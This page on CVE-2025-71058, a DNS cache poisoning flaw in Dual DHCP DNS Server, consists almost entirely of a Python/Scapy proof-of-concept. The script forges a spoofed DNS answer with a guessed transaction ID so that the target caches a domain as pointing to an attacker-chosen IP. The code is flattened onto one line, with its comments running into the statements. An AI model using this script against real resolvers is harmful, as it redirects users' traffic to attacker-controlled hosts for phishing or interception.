CVE-2025-71058 Dual DHCP DNS Server缓存投毒漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-71058: DNS Cache Poisoning # This script sends a forged DNS response to poison the cache. from scapy.all import * import random def send_poisoned_response(target_ip, target_port, txid, domain_to_poison, malicious_ip): # Construct IP layer with spoofed source (upstream DNS IP) # Note: In real attacks, source IP is spoofed to match legitimate upstream DNS. # If the target does not validate source, spoofing might not be strictly required, # but standard DNS poisoning implies spoofing. ip = IP(src="192.168.1.1", dst=target_ip) # Replace with actual upstream IP if needed # Construct UDP layer udp = UDP(sport=53, dport=target_port) # Construct DNS layer # id=txid is crucial for the server to accept the response # qr=1 indicates a response dns = DNS( id=txid, qr=1, qd=DNSQR(qname=domain_to_poison), an=DNSRR(rrname=domain_to_poison, type="A", ttl=300, rdata=malicious_ip) ) # Send the packet packet = ip / udp / dns send(packet) print(f"[*] Poisoned response sent for {domain_to_poison} -> {malicious_ip}") if __name__ == "__main__": # Configuration TARGET_DNS = "192.168.1.100" # IP of the vulnerable Dual DHCP DNS Server DOMAIN = "example.com" MALICIOUS_IP = "6.6.6.6" # TXID needs to be guessed or sniffed. Assuming we have it. TXID = random.randint(0, 65535) send_poisoned_response(TARGET_DNS, 53, TXID, DOMAIN, MALICIOUS_IP)